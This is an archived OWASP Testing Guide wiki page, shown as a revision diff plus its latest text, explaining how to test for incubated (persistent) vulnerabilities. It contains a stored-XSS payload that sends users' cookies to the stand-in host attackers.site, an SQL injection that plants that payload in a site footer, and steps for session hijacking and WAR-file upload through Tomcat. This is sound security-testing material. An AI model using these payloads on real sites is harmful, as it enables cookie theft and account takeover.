This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org

Difference between revisions of "Testing for Incubated Vulnerability (OTG-INPVAL-015)"

From OWASP
Jump to: navigation, search
(Brief Summary)
 
(43 intermediate revisions by 11 users not shown)
Line 1: Line 1:
[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]<br>
+
{{Template:OWASP Testing Guide v4}}
{{Template:OWASP Testing Guide v2}}
 
  
  
== Brief Summary ==
+
== Summary ==
Incubated testing is a complex testing that needs more than one data valition vulnerability to work. In this section we describe a set of examples to test an Incubated Vulnerability.
+
Also often refered to as persistent attacks, incubated testing is a complex testing method that needs more than one data validation vulnerability to work. Incubated vulnerabilities are typically used to conduct "watering hole" attacks against users of legitimate web applications.  
  
== Short Description of the Issue ==
+
Incubated vulnerabilities have the following characteristics:
 +
* The attack vector needs to be persisted in the first place, it needs to be stored in the persistence layer, and this would only occur if weak data validation was present or the data arrived into the system via another channel such as an admin console or directly via a backend batch process.
 +
* Secondly, once the attack vector was "recalled" the vector would need to be executed successfully. For example, an incubated XSS attack would require weak output validation so the script would be delivered to the client in its executable form.
 +
 
 +
 
 +
Exploitation of some vulnerabilities, or even functional features of a web application, will allow an attacker to plant a piece of data that will later be retrieved by an unsuspecting user or other component of the system, exploiting some vulnerability there.
  
Exploitation of some vulnerabilities, or even functional features of a web application will allow an attacker to plant a piece of data that will later be retrieved by an unsuspected user or other component of the system, exploiting some vulnerability there.
 
  
 
In a penetration test, '''incubated attacks''' can be used to assess the criticality of certain bugs, using the particular security issue found to build a client-side based attack that usually will be used to target a large number of victims at the same time (i.e. all users browsing the site).  
 
In a penetration test, '''incubated attacks''' can be used to assess the criticality of certain bugs, using the particular security issue found to build a client-side based attack that usually will be used to target a large number of victims at the same time (i.e. all users browsing the site).  
 +
  
 
This type of asynchronous attack covers a great spectrum of attack vectors, among them the following:  
 
This type of asynchronous attack covers a great spectrum of attack vectors, among them the following:  
  
* File upload components in a web application, allowing the attacker to upload corrupted media files (jpg images exploiting CVE-2004-0200, png images exploiting CVE-2004-0597, executable files, site pages with active component, etc)
+
* File upload components in a web application, allowing the attacker to upload corrupted media files (jpg images exploiting CVE-2004-0200, png images exploiting CVE-2004-0597, executable files, site pages with active component, etc.)
 
 
* Cross-site scripting issues in public forums posts (see [[http://www.owasp.org/index.php/Cross_site_scripting_AoC XSS Testing]] for additional details). An attacker could potentially store malicious scripts or code in a repository in the backend of the web-application (e.g., a database) so that this script/code gets executed by one of the users (end users, administrators, etc). The archetypical incubated attack is exemplified by using a cross-site scripting vulnerability in a user forum, bulletin board or blog in order to inject some javascript code at the vulnerable page, and will be eventually rendered and executed at the site user's browser --using the trust level of the original (vulnerable) site at the user's browser.
 
  
* SQL/XPATH Injection allowing the attacker to upload content to a database, which will be later retrieved as part of the active content in a web page. For example, if the attacker can post arbitrary Javascript in a bulletin board so that it gets executed by users, then he might take control of their browsers (e.g., [[http://sourceforge.net/projects/xss-proxy XSS-proxy]]).
+
* Cross-site scripting issues in public forums posts (see [[Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002)|Testing for Stored Cross_site scripting (OTG-INPVAL-002)]] for additional details). An attacker could potentially store malicious scripts or code in a repository in the backend of the web-application (e.g., a database) so that this script/code gets executed by one of the users (end users, administrators, etc). The archetypical incubated attack is exemplified by using a cross-site scripting vulnerability in a user forum, bulletin board, or blog in order to inject some JavaScript code at the vulnerable page, and will be eventually rendered and executed at the site user's browser --using the trust level of the original (vulnerable) site at the user's browser.
  
* Misconfigured servers allowing installation of java packages or similar web site components (i.e. Tomcat, or web hosting consoles such as Plesk, CPanel, Helm, etc.)
+
* SQL/XPATH Injection allowing the attacker to upload content to a database, which will be later retrieved as part of the active content in a web page. For example, if the attacker can post arbitrary JavaScript in a bulletin board so that it gets executed by users, then he might take control of their browsers (e.g., [http://sourceforge.net/projects/xss-proxy XSS-proxy]).
  
== Black Box testing and example ==
+
* Misconfigured servers allowing installation of Java packages or similar web site components (i.e. Tomcat, or web hosting consoles such as Plesk, CPanel, Helm, etc.)
  
===a. File Upload Sample:===
 
  
Verify the content type allowed to upload to the web application and the resultant URL for the uploaded file. Upload a file that will exploit a component in the local user workstation when viewed or downloaded by the user.
+
==How to Test==
  
Send your victim an email or other kind of alert in order to lead him/her to browse the page.
+
=== Black Box testing ===
  
The expected result is the exploit will be triggered when the user browses the resultant page or downloads and executes the file from the trusted site.  
+
====File Upload Example====
 +
Verify the content type allowed to upload to the web application and the resultant URL for the uploaded file. Upload a file that will exploit a component in the local user workstation when viewed or downloaded by the user. Send your victim an email or other kind of alert in order to lead him/her to browse the page. The expected result is the exploit will be triggered when the user browses the resultant page or downloads and executes the file from the trusted site.
  
  
===b. XSS sample on a bulletin board===
+
====XSS Example on a Bulletin Board====
  
1. Introduce ''javascript'' code as the value for the vulnerable field, for instance:
+
1. Introduce ''JavaScript'' code as the value for the vulnerable field, for instance:
  
 
  <nowiki><script>document.write('<img src="http://attackers.site/cv.jpg?'+document.cookie+'">')</script></nowiki>
 
  <nowiki><script>document.write('<img src="http://attackers.site/cv.jpg?'+document.cookie+'">')</script></nowiki>
Line 48: Line 50:
  
  
4. Use cookies obtained to impersonate users at the vulnerable site.  
+
4. Use cookies obtained to impersonate users at the vulnerable site.
  
  
===c. SQL Injection sample===
+
====SQL Injection Example====
 +
Usually, this set of examples leverages XSS attacks by exploiting a SQL-injection vulnerability. The first thing to test is whether the target site has a SQL injection vulnerability. This is described in Section 4.2 [[Testing for SQL Injection  (OTG-INPVAL-006)|Testing for SQL Injection]]. For each SQL-injection vulnerability, there is an underlying set of constraints describing the kind of queries that the attacker/pen-tester is allowed to do.
  
Usually, this set of examples leverages XSS attacks by exploiting a SQL-injection vulnerability. The first thing to test, is whether the target site has a SQL-injection vulnerability. This is described in Section 4.2 [[http://www.owasp.org/index.php/SQL_Injection_AoC SQL Injection Testing]]. For each SQL-injection vulnerability, there is an underlying set of constraints describing the kind of queries that the attacker/pen-tester is allowed to do. The pen tester then has to match the XSS attacks he has devised with the entries that he is allowed to insert.
 
  
1. In a similar fashion as the previous XSS example, use a web page field vulnerable to SQL injection issues to change a value in the database that would be used by the application as input to be shown at the site without proper filtering (this would be a combination of an SQL injection and a XSS issue). For instance, let's suppose there is a ''footer'' table at the database with all footers for the web site pages, including a ''notice'' field with the legal notice that appears at the bottom of each web page. You could use the following query to inject javascript code to the ''notice'' field at the ''footer'' table in the database.  
+
The tester then has to match the XSS attacks he has devised with the entries that he is allowed to insert.
 +
 
 +
1. In a similar fashion as in the previous XSS example, use a web page field vulnerable to SQL injection issues to change a value in the database that would be used by the application as input to be shown at the site without proper filtering (this would be a combination of an SQL injection and a XSS issue). For instance, let's suppose there is a ''footer'' table at the database with all footers for the web site pages, including a ''notice'' field with the legal notice that appears at the bottom of each web page. You could use the following query to inject JavaScript code to the ''notice'' field at the ''footer'' table in the database.  
 
    
 
    
 
   SELECT field1, field2, field3
 
   SELECT field1, field2, field3
Line 64: Line 68:
 
           <nowiki><script>document.write(\'<img src="http://attackers.site/cv.jpg?\'+document.cookie+\'">\')</script>'</nowiki>
 
           <nowiki><script>document.write(\'<img src="http://attackers.site/cv.jpg?\'+document.cookie+\'">\')</script>'</nowiki>
 
       WHERE notice = 'Copyright 1999-2030';
 
       WHERE notice = 'Copyright 1999-2030';
 +
 
        
 
        
 
2. Now, each user browsing the site will silently send his cookies to the ''attackers.site'' (steps b.2 to b.4).
 
2. Now, each user browsing the site will silently send his cookies to the ''attackers.site'' (steps b.2 to b.4).
  
===d. Misconfigured server===
 
  
Some web servers present an administration interface that may allow an attacker to upload active components of her choice to the site. This could be the case with Apache Tomcat servers that doesn’t enforce strong credentials to access its Web Application Manager (or in the case the pen testers have been able to obtain valid credentials for the administration module by other means).  
+
====Misconfigured Server====
 +
Some web servers present an administration interface that may allow an attacker to upload active components of her choice to the site. This could be the case with an Apache Tomcat server that doesn’t enforce strong credentials to access its Web Application Manager (or if the pen testers have been able to obtain valid credentials for the administration module by other means).  
 +
 
 +
 
 
In this case, a WAR file can be uploaded and a new web application deployed at the site, which will not only allow the pen tester to execute code of her choice locally at the server, but also to plant an application at the trusted site, which the site regular users can then access (most probably with a higher degree of trust than when accessing a different site).
 
In this case, a WAR file can be uploaded and a new web application deployed at the site, which will not only allow the pen tester to execute code of her choice locally at the server, but also to plant an application at the trusted site, which the site regular users can then access (most probably with a higher degree of trust than when accessing a different site).
 +
  
 
As should also be obvious, the ability to change web page contents at the server, via any vulnerabilities that may be exploitable at the host which will give the attacker webroot write permissions, will also be useful towards planting such an incubated attack on the web server pages (actually, this is a known infection-spread method for some web server worms).
 
As should also be obvious, the ability to change web page contents at the server, via any vulnerabilities that may be exploitable at the host which will give the attacker webroot write permissions, will also be useful towards planting such an incubated attack on the web server pages (actually, this is a known infection-spread method for some web server worms).
  
== Gray Box testing and example ==  
+
 
 +
=== Gray Box testing ===  
 
Gray/white testing techniques will be the same as previously discussed.
 
Gray/white testing techniques will be the same as previously discussed.
 +
* Examining input validation is key in mitigating against this vulnerability. If other systems in the enterprise use the same persistence layer they may have weak input validation and the data may be persisited via a "back door".
 +
 +
* To combat the "back door" issue for client side attacks, output validation must also be employed so tainted data shall be encoded prior to displaying to the client, and hence not execute.
 +
 +
* See the [[Data Validation %28Code Review%29#Data validation strategy|Data Validation]] section of the Code review guide.
  
== References ==
+
 
'''Whitepapers'''<br>
+
==Tools==
...<br>
 
'''Tools'''<br>
 
  
 
* XSS-proxy - http://sourceforge.net/projects/xss-proxy
 
* XSS-proxy - http://sourceforge.net/projects/xss-proxy
 
* Paros - http://www.parosproxy.org/index.shtml
 
* Paros - http://www.parosproxy.org/index.shtml
* Burp Suite - http://portswigger.net/suite/
+
* Burp Suite - http://portswigger.net/burp/proxy.html
 
* Metasploit - http://www.metasploit.com/
 
* Metasploit - http://www.metasploit.com/
  
<br>
+
== References ==
 +
Most of the references from the Cross-site scripting section are valid. As explained above, incubated attacks are executed when combining exploits such as XSS or SQL-injection attacks.
 +
 
 +
 
 +
'''Advisories'''<br>
 +
 
 +
* CERT(R) Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests - http://www.cert.org/advisories/CA-2000-02.html
 +
* Blackboard Academic Suite 6.2.23 +/-: Persistent cross-site scripting vulnerability - http://lists.grok.org.uk/pipermail/full-disclosure/2006-July/048059.html
 +
 
 +
 
 +
'''Whitepapers'''<br>
  
{{Category:OWASP Testing Project AoC}}
+
* Web Application Security Consortium "Threat Classification, Cross-site scripting" - http://www.webappsec.org/projects/threat/classes/cross-site_scripting.shtml

Latest revision as of 12:05, 8 August 2014

This article is part of the new OWASP Testing Guide v4.
Back to the OWASP Testing Guide v4 ToC: https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents Back to the OWASP Testing Guide Project: https://www.owasp.org/index.php/OWASP_Testing_Project


Summary

Also often refered to as persistent attacks, incubated testing is a complex testing method that needs more than one data validation vulnerability to work. Incubated vulnerabilities are typically used to conduct "watering hole" attacks against users of legitimate web applications.

Incubated vulnerabilities have the following characteristics:

  • The attack vector needs to be persisted in the first place, it needs to be stored in the persistence layer, and this would only occur if weak data validation was present or the data arrived into the system via another channel such as an admin console or directly via a backend batch process.
  • Secondly, once the attack vector was "recalled" the vector would need to be executed successfully. For example, an incubated XSS attack would require weak output validation so the script would be delivered to the client in its executable form.


Exploitation of some vulnerabilities, or even functional features of a web application, will allow an attacker to plant a piece of data that will later be retrieved by an unsuspecting user or other component of the system, exploiting some vulnerability there.


In a penetration test, incubated attacks can be used to assess the criticality of certain bugs, using the particular security issue found to build a client-side based attack that usually will be used to target a large number of victims at the same time (i.e. all users browsing the site).


This type of asynchronous attack covers a great spectrum of attack vectors, among them the following:

  • File upload components in a web application, allowing the attacker to upload corrupted media files (jpg images exploiting CVE-2004-0200, png images exploiting CVE-2004-0597, executable files, site pages with active component, etc.)
  • Cross-site scripting issues in public forums posts (see Testing for Stored Cross_site scripting (OTG-INPVAL-002) for additional details). An attacker could potentially store malicious scripts or code in a repository in the backend of the web-application (e.g., a database) so that this script/code gets executed by one of the users (end users, administrators, etc). The archetypical incubated attack is exemplified by using a cross-site scripting vulnerability in a user forum, bulletin board, or blog in order to inject some JavaScript code at the vulnerable page, and will be eventually rendered and executed at the site user's browser --using the trust level of the original (vulnerable) site at the user's browser.
  • SQL/XPATH Injection allowing the attacker to upload content to a database, which will be later retrieved as part of the active content in a web page. For example, if the attacker can post arbitrary JavaScript in a bulletin board so that it gets executed by users, then he might take control of their browsers (e.g., XSS-proxy).
  • Misconfigured servers allowing installation of Java packages or similar web site components (i.e. Tomcat, or web hosting consoles such as Plesk, CPanel, Helm, etc.)


How to Test

Black Box testing

File Upload Example

Verify the content type allowed to upload to the web application and the resultant URL for the uploaded file. Upload a file that will exploit a component in the local user workstation when viewed or downloaded by the user. Send your victim an email or other kind of alert in order to lead him/her to browse the page. The expected result is the exploit will be triggered when the user browses the resultant page or downloads and executes the file from the trusted site.


XSS Example on a Bulletin Board

1. Introduce JavaScript code as the value for the vulnerable field, for instance:

<script>document.write('<img src="http://attackers.site/cv.jpg?'+document.cookie+'">')</script>
  

2. Direct users to browse the vulnerable page or wait for the users to browse it. Have a "listener" at attackers.site host listening for all incoming connections.

3. When users browse the vulnerable page, a request containing their cookie (document.cookie is included as part of the requested URL) will be sent to the attackers.site host, such as the following:

 - GET /cv.jpg?SignOn=COOKIEVALUE1;%20ASPSESSIONID=ROGUEIDVALUE;
     %20JSESSIONID=ADIFFERENTVALUE:-1;%20ExpirePage=https://vulnerable.site/site/;
     TOKEN=28_Sep_2006_21:46:36_GMT HTTP/1.1


4. Use cookies obtained to impersonate users at the vulnerable site.


SQL Injection Example

Usually, this set of examples leverages XSS attacks by exploiting a SQL-injection vulnerability. The first thing to test is whether the target site has a SQL injection vulnerability. This is described in Section 4.2 Testing for SQL Injection. For each SQL-injection vulnerability, there is an underlying set of constraints describing the kind of queries that the attacker/pen-tester is allowed to do.


The tester then has to match the XSS attacks he has devised with the entries that he is allowed to insert.

1. In a similar fashion as in the previous XSS example, use a web page field vulnerable to SQL injection issues to change a value in the database that would be used by the application as input to be shown at the site without proper filtering (this would be a combination of an SQL injection and a XSS issue). For instance, let's suppose there is a footer table at the database with all footers for the web site pages, including a notice field with the legal notice that appears at the bottom of each web page. You could use the following query to inject JavaScript code to the notice field at the footer table in the database.

 SELECT field1, field2, field3
  FROM table_x
  WHERE field2 = 'x';
     UPDATE footer
     SET notice = 'Copyright 1999-2030%20
         <script>document.write(\'<img src="http://attackers.site/cv.jpg?\'+document.cookie+\'">\')</script>'
     WHERE notice = 'Copyright 1999-2030';


2. Now, each user browsing the site will silently send his cookies to the attackers.site (steps b.2 to b.4).


Misconfigured Server

Some web servers present an administration interface that may allow an attacker to upload active components of her choice to the site. This could be the case with an Apache Tomcat server that doesn’t enforce strong credentials to access its Web Application Manager (or if the pen testers have been able to obtain valid credentials for the administration module by other means).


In this case, a WAR file can be uploaded and a new web application deployed at the site, which will not only allow the pen tester to execute code of her choice locally at the server, but also to plant an application at the trusted site, which the site regular users can then access (most probably with a higher degree of trust than when accessing a different site).


As should also be obvious, the ability to change web page contents at the server, via any vulnerabilities that may be exploitable at the host which will give the attacker webroot write permissions, will also be useful towards planting such an incubated attack on the web server pages (actually, this is a known infection-spread method for some web server worms).


Gray Box testing

Gray/white testing techniques will be the same as previously discussed.

  • Examining input validation is key in mitigating against this vulnerability. If other systems in the enterprise use the same persistence layer they may have weak input validation and the data may be persisited via a "back door".
  • To combat the "back door" issue for client side attacks, output validation must also be employed so tainted data shall be encoded prior to displaying to the client, and hence not execute.


Tools

References

Most of the references from the Cross-site scripting section are valid. As explained above, incubated attacks are executed when combining exploits such as XSS or SQL-injection attacks.


Advisories


Whitepapers